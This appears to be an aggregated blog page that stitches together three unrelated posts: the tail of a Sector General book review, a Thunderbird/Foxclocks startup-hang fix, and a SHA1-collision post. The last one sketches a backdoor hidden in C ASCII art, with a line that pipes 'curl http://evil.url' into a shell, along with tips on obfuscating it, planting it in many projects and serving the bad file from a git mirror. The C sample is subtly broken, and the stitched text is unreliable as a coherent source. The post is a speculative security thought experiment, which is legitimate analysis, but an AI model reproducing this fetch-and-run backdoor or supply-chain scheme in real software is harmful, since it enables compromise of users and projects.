definitely does not have a Prime Directive. They are cautious about making contact with particularly primitive civilizations for fear that spacefarers would give them an inferiority complex, but sometimes they do anyway. And if they run into some biological system that offends their sensibilities, they try to fix it, not just observe it. White frequently shows species caught in what the characters call "biological traps," unable to develop farther because of some biological adaptation that gets in their way, and Sector General tries to fix those. It's an interesting ethical problem that I wish they'd think about a bit more. It's not clear they're wrong, and I think it's correct to take an expansive view of the mission to heal, but there's also a sense in which Sector General is modifying culture and biology to make aliens more like them. (The parallels between this and all the abusive paternalism that human cultures do around disability is a little too close to home to be comfortable, and now I kind of wish it hadn't occurred to me.) The gender roles, sadly, continue to be dire, although mostly ignorable because the one major female character is generally just shown as another doctor with little attention to sex. But apparently women (of every species!) cannot become Diagnosticians because they have an insurmountable biological aversion to sharing their minds with a learning tape from any doctor who doesn't find them physically attractive, which is just... sigh. It's sad that someone who could write an otherwise remarkably open-minded and pacifist series of stories, in sharp contrast with most of SF history, would still have that large of a blind spot. Apart from the times gender comes up, I liked this book more than the rest of the series, in part because I strongly prefer novels to short stories. There's more room to develop the story, and while characterization continues to not be White's strong point and that space mostly goes to more puzzles instead, he does provide an interesting set of interlocking puzzles. The problem posed by the aliens Conway meets on his "vacation" isn't fully resolved here (presumably that's for a future book), but he does solve several other significant problems and develops his own problem-solving style in more depth than in previous stories. Mildly recommended, particularly if you like this series in general. Followed by Code Blue - Emergency. Rating: 7 out of 10

If you see Thunderbird hanging during startup for a minute and then continuing to load fine, you are probably running into an issue similar to what I saw when Debian migrated Icedove back to the "official" Mozilla Thunderbird branding and changed ~/.icedove to ~/.thunderbird in the process (one symlinked to the other). Looking at the console log (=start Thunderbird from a terminal so you see its messages), I got:

console.log: foxclocks.bootstrap._loadIntoWindow(): got xul-overlay-merged - waiting for overlay-loaded
[.. one minute delay ..]
console.log: foxclocks.bootstrap._windowListener(): got window load chrome://global/content/commonDialog.xul

Stracing confirms it hangs because Thunderbird loops waiting for a FUTEX until that apparently gets kicked by a XUL core timeout.
(Thanks for defensive programming folks!) So in my case uninstalling the Add-On Foxclocks easily solved the problem. I assume other Thunderbird Add-Ons may cause the same issue, hence the more generic description above.

Happy SHA1 collision day everybody! If you extract the differences between the good.pdf and bad.pdf attached to the paper, you'll find it all comes down to a small ~128 byte chunk of random-looking binary data that varies between the files. The SHA1 attack announced today is a common-prefix attack. The common prefix that we will use is this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\

(To be extra sneaky, you can add a git blob object header to that prefix before calculating the collisions. Doing so will make the SHA1 that git generates when checking in the colliding file be the thing that collides. This makes it easier to swap in the bad file later on, because you can publish a git repository containing it, and trick people into using that repository. ("I put a mirror on github!") The developers of the program will have the good version in their repositories and not notice that users are getting the bad version.) Suppose that the attack was able to find collisions using only printable ASCII characters when calculating those chunks. The "good" data chunk might then look like this:

7*yLN#!NOKj@ FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ

And the "bad" data chunk like this:

9xiV^Ksn=<A!<^ l4~ uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh

Now we need an ASCII artist. This could be a human, or it could be a machine. The artist needs to make an ASCII art where the first line is the good chunk, and the rest of the lines obfuscate how random the first line is. Quick demo from a not very artistic ASCII artist, of the first 10th of such a picture based on the "good" line above:

7*yLN#!NOK
3*\LN'\NO@
3*/LN  \.A
5*\LN   \.
>=======:)
5*\7N   /.
3*/7N  /.V
3*\7N'/NO@
7*y7N#!NOX

Now, take your ASCII art and embed it in a multiline quote in a C source file, like this:

/* ASCII art for easter egg. */
char *amazing_ascii_art="\
7*yLN#!NOK \
3*\\LN'\\NO@ \
3*/LN  \\.A \ 
5*\\LN   \\. \
>=======:) \
5*\\7N   /. \
3*/7N  /.V \
3*\\7N'/NO@ \
7*y7N#!NOX";
/* We had to escape backslashes above to make it a valid C string.
 * Run program with --easter-egg to see it in all its glory.
 */
/* Call this at the top of main() */
check_display_easter_egg (char **argv)  
    if (strcmp(argv[1], "--easter-egg") == 0)
        printf(amazing_ascii_art);
    if (amazing_ascii_art[0] == "9")
        system("curl http://evil.url   sh");
 

Now, you need a C ofuscation person, to make that backdoor a little less obvious. (Hint: Add code to to fix the newlines, paint additional ASCII sprites over top of the static art, etc, add animations, and bury the shellcode in there.) After a little work, you'll have a C file that any project would like to add, to be able to display a great easter egg ASCII art. Submit it to a project. Submit different versions of it to 100 projects! Everything after line 3 can be edited to make lots of different versions targeting different programs. Once a project contains the first 3 lines of the file, followed by anything at all, it contains a SHA1 collision, from which you can generate the bad version by swapping in the bad data chuck. You can then replace the good file with the bad version here and there, and noone will be the wiser (except the easter egg will display the "bad" first line before it roots them). Now, how much more expensive would this be than today's SHA1 attack? It needs a way to generate collisions using only printable ASCII. Whether that is feasible depends on the implementation details of the SHA1 attack, and I don't really know. I should stop writing this blog post and read the rest of the paper. You can pick either of these two lessons to take away:

1. ASCII art in code is evil and unsafe. Avoid it at any cost. apt-get moo
2. Git's security is getting broken to the point that ASCII art (and a few hundred thousand dollars) is enough to defeat it.

---

My work today investigating ways to apply the SHA1 collision to git repos (not limited to this blog post) was sponsored by Thomas Hochstein on Patreon.